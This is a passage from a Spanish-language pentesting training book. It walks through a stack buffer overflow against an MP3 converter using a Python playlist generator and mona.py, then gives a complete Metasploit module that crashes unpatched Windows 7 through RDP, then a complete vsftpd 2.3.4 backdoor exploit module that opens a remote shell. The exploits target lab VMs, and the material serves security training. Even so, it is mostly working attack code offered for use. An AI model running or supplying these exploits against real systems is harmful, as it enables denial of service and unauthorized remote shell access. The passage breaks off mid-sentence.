opcin New File y seguiremos los siguientes pasos:

Imagen 31.9: IDLE de Python.


Imagen 32.0: Python.

Al hacer esto se abrir una nueva ventana, en donde escribiremos el cdigo de abajo,
terminado, lo guardamos con el nombre y en el lugar de nuestra preferencia desde el men
File, consulta la imagen:

primeravariable= "HackingMexico"*17890

archivo=open("Playlist.m3u","w")

archivo.write(primeravariable);

archivo.close()

Imagen 32.1: Cdigo en Python.

Ya estando guardado, corremos el programa con la opcin Run Module desde el men
Run, mostrando la ejecucin correcta, con una nueva Prompt Line.

Imagen 32.2: Cdigo compilado.

Lo que hicimos con esto fu que la primera lnea imprima el texto HackingMexico 17890
veces, luego al momento de la compilacin este script se guardar como un archivo con
extensin .m3u, que es el formato del Playlist con el que trabaja el programa vulnerable,
este Playlist se encuentra en el lugar donde reside el script de Python:
Teniendo este Playlist, abrimos el programa vulnerable (Mini-streamRM-MP3Converter) y
desde la opcin Load ubicaremos el directorio del archivo .m3u y cargaremos este
Playlist, que en realidad es un script que lleva la instruccin de que al momento de su
ejecucin imprimir o mostrar 17890 veces el texto configurado, consiguiendo el Crashing
de la aplicacin:

Imagen 32.3 y 32.4: Aplicacin Detenida.

Hasta este punto hemos conseguido el desbordamiento de la pila gracias al script hecho en
Python, el cual lo hicimos pasar por un supuesto Playlist que cargamos al programa,
ocasionando el Overflow. Hecho esto, es momento de pasar a utilizar un Debugger para hacer
un poco de Reversing y comprender de mejor forma que es lo que ocurre en el programa cuando
la pila de este se desborda.
Para esto utilizaremos el Debugger antes mencionado, Immunity Debugger. Cabe mencionar
que es recomendable siempre ejecutarlo como administrador, tambin es importante
mencionar que el directorio de instalacin de este Debugger puede variar, lo ms comn es que
al finalizar la instalacin del programa, el lugar en el que resida ser en el directorio C:\Program
Files(x86)\ImmunityInc\ImmunityDebugger, en este caso debido a la proteccin antivirus del
equipo, se instal en el siguiente directorio o Path:

Imagen 32.5 y 32.6: Ejecucin de Immunity Debugger.


Una vez que lo hayas ejecutado, Immunity Debugger se mostrar de la forma siguiente:

Imagen 32.6: Immunity Debugger.

Una vez dentro, abriremos el Binario que cuenta con la vulnerabilidad de Buffer-overflow, esto
desde el men File mediante la opcin Open para navegar hacia el directorio en donde reside,
aqu tambin puede variar el Path de instalacin, sin embargo, lo comn es que se guarde en el
siguiente directorio, (Por obvias razones aparece en el historial del Debugger ya que lo abr con
anterioridad):

Imagen 32.7: Carga de aplicacin vulnerable.

Lo que haremos con este binario ser una poco de Reversing hacia este, depurando el cdigo y
mostrndolo en un lenguaje de bajo nivel, esto con la finalidad de identificar qu es lo que est
siendo afectado en el programa, que registros estn involucrados en este fallo, y como conseguir
que, gracias a esta nueva informacin, podamos llevar las cosas un poco ms lejos. Est de ms
mencionar que debers tener conceptos esenciales de Assembler (Lenguaje ensamblador).
Una vez abierto el binario en el Debugger, este se mostrar de la manera siguiente:
Imagen 32.8: Panel CPU y sus ventanas en el Debugger.

Antes de que sigamos con esto, hay que aclarar ciertos puntos. Cuando se carga una aplicacin
o un binario a Immunity Debugger, este por defecto abrir un panel nombrado CPU que es el que
se ve en la imagen anterior, este est dividido de 4 componentes:

Dissasembly (Desmontaje): Esta parte est dividida en 4 columnas, en la primera se


puede ver la direccin de memoria o Memory address, en la segunda se muestra el
cdigo de operacin de la instruccin que se halla en esa direccin, el lenguaje mquina
est hecho con estos cdigos de operacin, que son lo que el CPU est ejecutando en
realidad. En la tercera columna se encuentra el cdigo ensamblador, y la cuarta es la que
contiene comentarios, estos los produce el Debugger, sin embargo, tu puedes cambiarlos.

Registers (Registros): Aqu se pueden visualizar todos los registros del CPU y sus valores,
se pueden ver registros de propsito general (General Purpose) los cuales contienen
valores temporales, y tambin se ven registros para controlar el flujo del programa, tambin
se pueden ver registros bandera, los cuales el CPU cambia cuando ha ocurrido algo
importante o notorio (como un Overflow).

Dump (Volcado): Esta ventana muestra la vista hexadecimal del programa completo,
dividida en 3 columnas, la primera muestra la direccin, la segunda los valores que se
hallan en esa direccin, y la ltima muestra cometarios.
Stack (Pila): Muestra la locacin de memoria a la que apunta el registro ESP.

Entendidos los puntos anteriores, es momento de correr el programa sobre el Debugger para
poder interpretar mejor las instrucciones que se llevan a cabo para esta ejecucin, para ello
haremos clic en la opcin Run, al principio vers unos movimientos en las instrucciones e
inmediatamente aparecer en detencin (Paused) el programa, esto lo puedes verificar en la
esquina inferior derecha del Debugger, esto no quiere decir que no funcione correctamente el
programa, si no que las instrucciones de inicio trabajan en fases diferentes, solo basta con hacer
clic en Run una vez ms. Luego de esto se abrir el programa, ahora repetirs los pasos
anteriores; cargar el Playlist (Script de Python) con extensin .m3u para conseguir el Crash:
Imagen 32.9 33.3: Proceso de Debugging y Crashing de la Aplicacin.

Como lo habrs notado, la aplicacin tambin se detuvo o hizo Crash en el Debugger,


simplemente no se muestra ms la parte de Dissasembly. Sin embargo, en las partes del
Register y el Stack podrs ver algo peculiar, se trata de los registros ESP y EIP.

El registro ESP (Stack Pointer) apunta a una direccin, la cual contiene como valor HMex,
impreso 17890 veces, y EIP, apunta hacia una direccin que es la 4D487865, as como tambin
en el Stack aparece la misma direccin con el mismo valor:

Imagen 33.4 y 33.5: Identificacin de registros afectados, direcciones y valores en ellos.


Con lo anterior ya sabemos cules son los registros afectados, cuales son las direcciones de
estos y cul es el valor que existe en el Stack que se desbord. Ahora es momento de usar
algo diferente que nos ser til para crear cdigo an ms perjudicial. Se trata de Mona.py, est
es un repositorio que trabaja en conjunto y solamente para Immunity Debugger, funciona como un
plug-in que tiene como finalidad el apoyarnos con la escritura de exploits.

Esta herramienta viene incluida en el material de trabajo para este captulo, dentro de la carpeta
mona-master Para que funcione con el Immunity Debugger simplemente deber agregarse a la
carpeta PyCommands que se encuentra en el directorio de instalacin del Debugger, solamente
vas copiar el archivo con extensin .py. Una vez colocado tendrs que reiniciar Immunity
Debugger:

Imagen 33.6 y 33.7: Ubicacin y colocacin de mona.py.

Terminado lo anterior, obviamente tendrs que repetir los pases anteriores hasta la parte en donde
vimos los registros ESP e EIP afectados. Luego que retomes el punto anterior, ejecutars tal cual
lo siguiente en la barra de comandos de Immunity Debugger: !mona pc 17890

Donde:

!mona: Manda a llamar al plug-in, el signo de exclamacin es obligatorio.


pc: Significa Pattern create o crear patrn, simplemente har eso.
17890: El nmero de patrones que deseamos crear.

Al momento de la ejecucin aparecer una nueva ventana con texto en verde nen, indicando el
proceso de la accin ejecutada, as como tambin muestra detalles sobre lo que solicitamos, como
lo es el tiempo de compilacin y el nombre del archivo de salida (output), que es pattern.txt
El rengln con caracteres ms largo que vemos es el patrn de 17890 bytes que solicitamos crear,
tambin veremos una nota en color rojo indicando algo importante, indica que no es
recomendable copiar el patrn desde ah mismo en el Debugger, ya que puede aparecer
cortado, por lo que habr que copiarlo directamente desde el archivo de salida con extensin
.txt, este reside en el directorio de instalacin de Immunity Debugger.

Imagen 33.8 y 33.9: Proceso de comando de mona.py y .txt generado.

Una vez que tengas ubicado el archivo, lo abrirs y copiars todo el patrn fue generado con
mona.py desde el Debugger y hars el siguiente cambio en el cdigo del primer script de Python,
en donde reemplazars el texto HMex por el patrn que copiaste, al final del texto a imprimir
indicars que quieres esa impresin 2 veces (*2), guardars los cambios y ejecutars el script:

Imagen 34.0 y 34.1: Patrones aleatorios y su adjunto al cdigo de Python.


Una vez que hayas finalizado todo lo anterior, desde el Debugger reiniciars el programa, desde
el men Debug mediante la opcin Restart, al hacer esto nos arrojar un aviso acerca del
proceso que actualmente se est corriendo con este programa, indicando que no se podr limpiar
el Workspace y no se podrn guardar cambios si se realiza esto, diremos que s.

Imagen 34.2: Reinicio del programa.

Una vez que demos el SI, se restablecern las 4 ventanas que constituyen el panel de CPU.
Repetirs los mismos pasos que van desde el inicio de programa en el Debugger hasta la
seleccin y carga del Playlist que en este caso se trata del script en Python que trae los patrones
creados con mona.py.

Una vez cargado, vers que la aplicacin tendr de nuevo un Crash, siendo este un Overflow
ocasionado por el cdigo proporcionado.
En la ventana de Registers y Stack vers que ahora abundan los caracteres aleatorios que fueron
sacados del archivo pattern.txt, as como tambin podrs notar que el registro ESP apunta a
una direccin con datos (Caracteres aleatorios), esta direccin tambin se encuentra en la
ventana de Stack:

Imagen 34.3 y 34.4: Aplicacin desbordada, caracteres aleatorios y valores en registros.


Ahora que conseguimos este nuevo Overflow, haremos unos nuevos cambios gracias a la
direccin obtenida por el registro EIP, que en este caso se trata de 57316157, esta direccin la
proporcionremos como referencia para una nueva instruccin para mona.py, para esto se
ejecutar el comando Pattern offset o po, seguido de la direccin EIP. Ejecutando el comando
con la sintaxis siguiente: !mona po Direccin EIP.

Al hacerlo, se mostrar el proceso de ejecucin del comando, indicndonos que ha encontrado


un patrn en una posicin cclica, siendo esta en este caso 17163:

Imagen 34.5: Proceso del comando Pattern Offset por mona.py.

Este nmero que nos arroj el Debugger lo usaremos para aadirlo al script y hacer cambios en
este. Esto con el fin de ocasionar de nuevo la detencin del programa, sin embargo, verificaremos
los nuevos resultados que se mostrarn en el Debugger. Al cdigo de Python le aadiremos 3
lneas nuevas y modificaremos la primera y la penltima, quedando de esta forma:
primeravariable= "HMex"

punch= "PS"*17163

dirEIP= "EIP"

punch2= "HM"*2846

archivo=open("Playlist.m3u","w")

archivo.write(primeravariable+punch+dirEIP+punch2);

archivo.close()

Imagen 34.6: Nuevo cdigo.


Hecho esto, guardars los cambios, ejecutars el cdigo, reiniciars el programa en Immunity
Debugger, lo corrers de nuevo y cargars este script como un nuevo Playlist:

Imagen 34.7 35.0: Compilacin del cdigo, reinicio del programa, y nuevo desbordamiento de pila.
Al conseguir el desbordamiento, veremos en la ventana de Registers la direccin a la que apunta
el registro EIP, que es la 484D84D, si verificamos a detalle la ventana Stack, podremos ver que
en ella se encuentran los valores proporcionados en el cdigo de Python, apuntando las
direcciones hacia el valor HM, que es el referente al registro EIP con direccin 484D484D,
tambin vemos el valor EIP y PS proporcionados en el script, cada uno apuntando a direcciones
diferentes, vindose de la siguiente manera:

Imagen 35.1: Direcciones y Valores mostrados en Ventana del Stack

Hasta ahora se ha demostrado de diferentes maneras como se puede conseguir el Crash o


detencin de una aplicacin o programa mediante el desbordamiento de la pila o Stack que se
encuentra en el cdigo de este. Ahora, es momento de llevar las cosas algo ms all, en donde
lejos de cerrar un programa al aprovecharse de la vulnerabilidad con la que cuenta, poder
conseguir el Crashing total de un sistema Windows, tambin mediante el cdigo que vers en
las siguientes pginas.

Existe un detalle ms, como la vulnerabilidad de la que te vas a aprovechar funciona mediante un
servicio de Windows (Remote Desktop Service), aqu no podrs buscar un file que contenga cdigo
malicioso y abrirlo, ni hars un script con caracteres aleatorios, ni tampoco hars Reversing o
Debugging del programa. Ahora con el cdigo antes mencionado, lo exportars hacia los
repositorios de Metasploit, creando as tu propio mdulo para que despus te apoyes del
Framework para poder usar este bloque de cdigo a su modo de Metasploit, y despus conseguir
el Denial of Service, y para esto existe todo un proceso que seguir, antes de ello, es importante
que sepas unas cosas acerca de crear tu propio mdulo en Metasploit.
Formulacin de tu primer Auxiliary.

Como pentester, es importante que sepas que se habr ocasiones en las que tendrs las buscar
la manera de perjudicar ciertos recursos informticos debido a que no cuentas con los medios para
conseguir este fin, como lo es algn exploit o auxiliar para atacar algo, por lo que tendrs que
compilar cdigo por tu cuenta y posteriormente aadirlo al Framework para probar su eficacia.

Al iniciar con esto doy por hecho que estas familiarizado con algo de programacin o puedes
comprender lo que hace cada lnea del cdigo, as como tambin has entendido lo que implica una
vulnerabilidad Buffer Overflow.

El siguiente escenario te encontrars con una mquina virtual que cuenta con Windows 7, esta
trae consigo una versin vulnerable de del RDP (Remote desktop protocol), la cual afecta al
servicio de escritorio remoto de Windows, siendo tambin un overflow. Con el siguiente cdigo,
conseguirs explotar esta vulnerabilidad y as mismo la adicin de este a Metasploit, a pesar de
que este cdigo tiene la funcin de explotar esta vulnerabilidad, se le asignar al mdulo
Auxiliary, ya que la sintaxis para uso de cdigo en Metasploit establece que se necesita un
payload para poder hacer uso de la librera Exploit, por lo que se quedar como un auxiliar,
aunque resulte igual de perjudicial que un exploit, para los exploits siempre debe de existir
un bloque de informacin acerca de un payload, si no existe tal, se le considera un Auxiliar..

Elaboracin de tu primer mdulo en Metasploit.

Bien, la creacin de un mdulo en Metasploit te puede resultar relativamente fcil, obviamente si


ya tienes alguna habilidad programando o al menos entiendes lo que hacen las lneas de un
determinado cdigo. Para ello, tendrs que programar o codear ciertas cosas para que esto
funcione bien. Nuestra primera aproximacin de este tipo ser con un cdigo que estar hecho en
Ruby. Como la mayor parte de la arquitectura de Metasploit est hecha en base a, vamos a trabajar
sobre un cdigo en este lenguaje.
Qu es un mdulo en Metasploit?

Metasploit cuenta con un extenso repositorio de scripts, encoders, exploits, etc. Estos van por
categoras y clasificaciones, dependiendo el uso que se les vaya a dar, en singular, un mdulo es
el lugar en donde se encuentra un bloque de cdigo que funciona con Metasploit, ya sea cualquiera
de los tipos de repos antes mencionados, pero para que un mdulo funcione bien debe tener cierta
sintaxis el cdigo para que Metasploit lo tome en cuenta, por ello es importante la sintaxis de esta
accin en el cdigo antes mencionado.
Qu es lo que haremos para lograr explotar esta vulnerabilidad?

Si una Mquina Windows no ha sido parchada con KB2671387, es susceptible a un ataque de


Denegacin de Servicio (DoS), en donde un atacante puede inhabilitar l equipo y formar la famosa
Pantalla Azul de Muerte (BSOD). Como se mencion en el equipo Windows 7 se halla una versin
vulnerable del servicio de escritorio remoto de Windows, (Remote Desktop Service), el fallo de
seguridad de esta consta en que hacia este servicio se enven peticiones o requests medidas
en bytes (210 es lo comn), ocasionando un desbordamiento del Stack o pila de este programa,
la pequea gran diferencia es que este programa no va a simplemente cerrarse al momento del
Overflow, har que ocurra un error interno a nivel kernel ocasionado la famosa Blue Screen Of
Death, ya que sabemos esto, es momento de comenzar.

Parrot cuenta con un editor de texto bastante bueno, se trata de Pluma, este podemos abrirlo
desde una consola:

Imagen 35.2: Comando de pluma.

Sabiendo todo lo necesario, usaremos el siguiente cdigo para para crear nuestro Auxiliary para
Buffer Overflow:

NOTA: Este cdigo tambin vine incluido en me material de trabajo referente a este captulo.

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})


super(update_info(info,
'Nombre' => 'BufferOverflow_Win7_RemoteDesktopService',
'Description' => %q{
Exploit que genera un Crash del sistema debido a las peticiones generadas hacia el servicio RDP.
},

'Autor' =>
[
'Tu_Nombre'
],
'Tipo de uso' => MSF_LICENSE,

))
register_options(
[
Opt::RPORT(3389)
], self.class)
end

def si_el_servicio_esta_funcional
begin
connect
disconnect
return true
rescue Rex::ConnectionRefused
return false
rescue Rex::ConnectionTimeout
return false
end
end

def run
tercer_overflow = "\x02\x01\xff"

pkt = ''+
"\x03\x00\x00\x13" + # TPKT: version + length
"\x0E\xE0\x00\x00" + # X.224 (connection request)
"\x00\x00\x00\x01" +
"\x00\x08\x00\x00" +
"\x00\x00\x00" +
"\x03\x00\x00\x6A" + # TPKT: version + length
"\x02\xF0\x80" + # X.224 (connect-initial)
"\x7F\x65\x82\x00" + # T.125
"\x5E" +
"\x04\x01\x01" + # callingDomainSelector
"\x04\x01\x01" + # calledDomainSelector
"\x01\x01\xFF" + # upwardFlag
"\x30\x19" + # targetParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # minimumParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # maximumParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x04\x82\x00\x00" + # userData
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x0C" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x38\x00\x06\x03" + # T.125
"\xF0" +
"\x03\x00\x00\x09" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x21\x80" # T.125

unless si_el_servicio_esta_funcional
print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida")
return
end

connect
print_status("#{rhost}:#{rport} - Enviando #{self.name}")
sock.put(pkt)
Rex.sleep(3)
disconnect
print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes enviados")

print_status("#{rhost}:#{rport} - Verificando la situacion, un segundo")

if si_el_servicio_esta_funcional
print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida")
return
else
print_good("#{rhost}:#{rport} Buen trabajo, esta inhabil")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} Desbordamiento conseguido hacia el servicio RDP"
})
end

end

end
Al comienzo del bloque de cdigo podemos ver algo acerca de Metasploit, en donde nos topamos
con las lneas encargadas de que el Framework reconozca este cdigo como un mdulo funcional,
gracias a la sintaxis siguiente:

Imagen 35.3: Librera core y clase MetasploitModule.

En donde de la lnea 1 a la 8:

require msf/core: La librera core provee los fines con los que se quiera utilizar el
framework, ya sea un enconder, un exploit, un auxiliar, un post, etc.
class: Indicar las categoras en las que se hallar el mdulo.

Despus de la lnea 9 a la 29 especificamos la descripcin acerca mdulo que se ver en el


Framework, as como el puerto que vendr por default, que es el 3389:

Imagen 35.4: Descripcin de mdulo y config. de puerto.

En el segmento de lneas 30 a la 45 nos encontramos con unos condicionales, en donde se


establecen las acciones a llevarse a cabo en caso de que el Host remoto responda o no:

Imagen 35.5: Condicionales acerca de la respuesta por parte del Host Vulnerable.
Ahora de la lnea 46 a la 117, nos encontraremos con un ShellCode, que es el cdigo que realizar
la accin perjudicial sobre el host remoto, ocasionando el desbordamiento de la pila o Stack de
este servicio:

Imagen 35.6: Bloque de ShellCode.

Y, por ltimo, de la lnea 118 a la 149 nos encontramos con un ltimo condicional relevante a la
respuesta del Host remoto, as como tambin el bloque de cdigo desde connect hasta
print_good, que es en donde se lleva a cabo el proceso de establecer la conexin una vez enviado
el ShellCode, mostrando mediante diferentes comentarios que hace cada lnea o bloque. Al ltimo
vemos en report_vuln las variables con las que trabaja el Mdulo, que como ya aprendiste en el
nivel COISP 1, en Metasploit se trata de info, RHOST, RPORT, NAME, etc.

Imagen 35.8: Condicionales y parmetros de funcionalidad.


Una vez que est terminado este cdigo lo guardars con el nombre de tu preferencia y con
extensin . rb que es la de Ruby. Hecho esto, deber aparecerte el archivo con el cono de un
Ruby, ahora este archivo lo trasladars hacia este directorio, que es en donde reside el Framework
de Metasploit y sus repositorios, ya sea que lo ubiques por consola o por interfaz grfica, y dentro
crears un nuevo directorio en donde guardars este cdigo hecho en Ruby. Es recomendable
que no se coleen tus mdulos con los ya existentes:

Imagen 35.9 y 36.0: Directorios de repos de Metasploit y mdulo guardado.

Ahora qu ya tienes todo listo, es momento de que inicies el Framework de Metasploit, y como
ya sabes tambin, primero hay que inicializar el servicio de la base de datos de la que
depende principalmente Metasploit, PostgreSQL. En estas nuevas versiones de Parrot la forma
de iniciar el servicio ha cambiado, ahora se usa systemctl, que tambin tiene una sintaxis muy
simple, ejecutaremos los 2 siguientes comandos para iniciar de forma correcta el Framework:

systemctl start postgresql y msfconsole:

Imagen 36.1: Inicio de servicio de BD, revisin e inicio de Metasploit.


Una vez iniciado el Framework simplemente entraremos al mdulo que acabas de crear, la manera
o comando para entrar esta dems mencionarlos. Una vez ah, configuraremos el mdulo con las
opciones requeridas, para esto hacemos uso del comando Show options para ver los
parmetros de configuracin de este mdulo, en donde vemos que se trata de las variables
RHOST en donde ir la IP de maquina victima (192.168.42.33 en este caso) y RPORT (3389 que
ya est configurado por default):

Imagen 36.2: Parmetros de conf. del mdulo

Solo basta con agregar al parmetro de configuracin RHOST la direccin IP y ejecutar el mdulo
con el comando run, poniendo a trabajar el cdigo en Ruby y ocasionando lo siguiente en
Windows, mostrando el BSOF antes mencionado, recolectando informacin acerca de lo
sucedido:

Imagen 36.3: Ejecucin del mdulo y resultados de este.


Formulacin de exploit para servidores FTP.

Es comn que los usuarios busquen la manera de transferir archivos entre diferentes equipos
dentro de una red local, para ello suelen emplear un servidor FTP, el cual les permite o facilita
lo antes descrito. Por el significado de su acrnimo (File Transfer Protocol), es un protocolo
utilizado para la transferencia de archivos entre computadoras e internet, y por obvias razones
estos pueden contener informacin, ya sea importante o no.

Habr ocasiones en las que nos encontremos con servidores FTP qu an conservan las
configuraciones por default al momento de la instalacin de los mismos, o no han sido configurados
de la forma correcta, dejndolos a la deriva, esperando a que alguien encuentre la forma de poder
perjudicarlos, ya sea con la detencin del servicio que ofrecen estos, o algo ms comprometedor
como la ejecucin de un payload sobre este, en donde lejos de causar un desbordamiento de pila,
podrs conseguir una Shell interactiva sobre el sistema remoto.

Despus de habernos ensuciado las manos un poco con el cdigo anterior en Ruby para conseguir
un DoS, es momento de hacer algo ms perjudicial. La aproximacin que haremos constar en
aprovecharse de una vulnerabilidad con la que cuenta el servidor FTP que existe en nuestra red,
el cual ser Metasploitable 2, la cual consta de la existencia de malware en l, ahora nuestro
trabajo es invocar a este mediante la inyeccin de un payload, el cual establecer la conexin con
el mismo y as ser como conseguiremos la Shell antes descrita sobre el sistema.
Qu es Metasploitable?

Es un recurso informtico (una mquina virtual en este caso) que fue creada por el mismo equipo
de desarrollo de Metasploit, esta VM hecha en Linux cuenta con diferentes vulnerabilidades
escondidas o distribuidas en el sistema, esperando a ser descubiertas y atacadas. Por ello,
Metasploitable 2 (versin que usaremos) una mquina virtual que es utilizada para llevar a
cabo pruebas, capacitaciones en seguridad, probar herramientas o tcnicas para
pentesting.

Esta VM est disponible para ambos ambientes de virtualizacin (VMware y Virtual Box), la razn
por la que no se utiliz la versin 3 de Metasploitable es debido a que oficialmente no est
disponible para VMware, por lo que usaremos la VM con versin anterior, la cual viene incluida en
el material proporcionado referente a este captulo, aunque tambin puedes descargarlo desde el
siguiente enlace:

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
Qu necesitars para este ejercicio?

Parrot Security OS, cualquier versin, en este caso usaras la 3.4 proporcionada.
Metasploitable 2
Ambas VM debern tener configurado el adaptador de red en modo NAT.

Al abrir el archivo .vmx de Metasploitable 2, se mostrar la siguiente descripcin acerca de la


mquina virtual en VMware, en donde podemos ver que se proporciona un usuario y password
para el Loggeo en Metasploitable 2, siendo ambos msfadmin :

Imagen 36.4: Metasploitable 2 en VMware.

Estando listas ambas VMs, las encenderemos y posteriormente nos loggearemos en cada una,
en Parrot el usuario y password son root y toor, las de Metasploitable 2 ya sabes cuales son.

Imagen 36.5: Metasploitable en funcin.


Ambas mquinas virtuales ya estn en funcin, el atacante y la vctima, ya sabemos que
Metasploitable 2 o el servidor FTP se encuentra en el mismo segmento de red que nosotros, solo
falta saber su identidad, con esto nos referimos a un nmero distintivo con el que cuentan todos
los dispositivos conectados a una red, obviamente se trata de la direccin IP. Para esto haremos
uso de una herramienta llamada Sparta, esta sirve para llevar a cabo tareas de
Reconnaissance, Network Fingerprinting o Information Gathering, esto nos servir para
identificar al servidor FTP en nuestra red y obtener ms detalles sobre l.
Podemos iniciar Sparta desde el men Applications, en Parrot, Information Gathering,
Network Identifiers, Sparta o desde una terminal ejecutando el comando sparta, en donde
una vez abierto utilizaremos la accin Scan, durante el proceso veremos que se enlistarn
diferentes Hosts, mientras que en la barra inferior indica el puerto sobre el que se est llevando a
cabo la accin de escaneo y la herramienta por la que est pasando, (una de varias durante el
proceso) en este caso es Nikto.

*En el libro y certificacin COISP Nivel 1 se toca ms a detalle el uso de Nikto:

Imagen 36.6 y 36.7: Inicio de Sparta y escaneo de la Red.

Durante el escaneo, algo que quizs notes es que se lleva a cabo una accin llamada
Screenshot, lo que hace esta es tomara una captura de pantalla (si es posible) del host remoto,
esto con la finalidad de facilitarnos la tarea de identificar a un Host en especfico, esta accin
se puede mostrar en la barra de progreso, indicando el puerto sobre el que opera, el host sobre
el que est trabajando, fecha, hora y estatus. En este ejemplo nos indica que sobre el host
192.168.42.139 se est llevando a cabo esta accin, para verificar esta captura realizada
pasaremos a la pestaa Tools para revisar lo anterior, en donde veremos lo siguiente:
Imagen 36.8 y 36.9: Identificacin de Host Metasploitable 2 y accin de Screenshot.

Gracias a la funcin antes descrita, ya sabemos que el host 192.168.42.139 se trata de


Metasploitable 2 (En este ejemplo), sabiendo esto es momento de pasar a hacerle
exclusivamente a este un Fingerprinting un poco ms riguroso. Tambin vers que, al finalizar
el escaneo de la red, se mostrara un icono identificador para cada sistema encontrado (Hosts), en
este caso se trata de un Linux, haremos clic derecho en el host correspondiente a Metasploitable
2 y seleccionaremos la accin Portscan para usar la penltima opcin, que incorpora el uso de
Nmap con perfil Quick Scan Plus dentro de esta herramienta. Durante el proceso del
Fingerprinting veremos que entre los puertos abiertos esta el 21, que es donde corre el protocolo
FTP con versin vsftpd 2.3.4, de la cual nos aprovecharemos y conseguiremos a explotar:

Imagen 37.0 y 37.1: Uso de Nmap en Sparta y Fingerprinting del Host Metasploitable 2.
Antes de continuar es importante saber de qu es lo que exactamente estamos por aprovecharnos
o por explotar.

El servidor FTP antes descrito, dispone de actualizaciones descargadas que cuentan con una
vulnerabilidad bastante crtica, esta consiste en que dentro de los repos de dichas actualizaciones
se halla un malware que es activado (Triggered) o puesto en funcin mediante el apoyo de
un payload, el cual vendr dentro de nuestro exploit, ya que cmo se sabe, los exploits para ser
considerados tal cuales requieren de un bloque de informacin referente a un payload, con lo
anterior entendido, al momento de que el malware y el payload se encuentren, obtendremos una
Shell que estar en funcin en el puerto 6200 del sistema Linux.

Para esto, usaremos el siguiente cdigo, que tambin est hecho en Ruby del cual estars
familiarizado con algunas cosas:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote


Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})


super(update_info(info,
'Nombre' => 'VSFTPD v2.3.4 Backdoor Command Execution',
'Info' => %q{
Este exploit se aprovecha de la vulnerabilidad de backdoor existente en servidor FTP en Metasploitable2
},
'Autor' => [ 'Tu', 'TuPC' ],
'Licencia' => MSF_LICENSE,
'Privileged' => true,
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'Fecha de Creacion' => 'D1a del Curs0',
'DefaultTarget' => 0))

register_options([ Opt::RPORT(21) ], self.class)


end
# Despues de esta linea comienzan los condicionales correspondientes a cada caso
def exploit

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil


if nsock
print_status("Puerto a la escucha abierto")
handle_backdoor(nsock)
return
end

connect

banner = sock.get_once(-1, 30).to_s


print_status("Banner o mensaje: #{banner.strip}")

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")

if resp =~ /^530 /
print_error("Las medidas de seguridad han cambiado, conexion no establecida")
disconnect
return
end

if resp !~ /^331 /
print_error("Este servidor no funciona como lo esperabas: #{resp.strip}")
disconnect
return
end

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil


if nsock
print_good("Conexion establecida con el malware...")
handle_backdoor(nsock)
return
end

disconnect

end

def handle_backdoor(s)

s.put("id\n")

r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("Shell no conseguida :(")
disconnect(s)
return
end

print_good("IDUsuario: #{r.strip}")

s.put("nohup " + payload.encoded + " >/dev/null 2>&1")


handler(s)
end
end
El cdigo anterior es el qu constituir nuestro exploit o mdulo en Metasploit, a continuacin, se
te explicar cmo es que funciona este:
IMPORTANTE: Independientemente de que dentro del material de trabajo para este libro se te
proporcione el cdigo de los auxiliaries o exploits, si no ests familiarizado con el codeo o no tienes
la suficiente destreza programando debes de tomarte unos minutos y leerlos, no te ser demasiado til
lo anterior si en estos ejercicios solo haces copy-paste, de lo contrario Cmo sabrs que es lo que
est por ocurrir?

El cdigo anterior ser el encargado de conseguir nuestra Shell sobre el host remoto, que es el
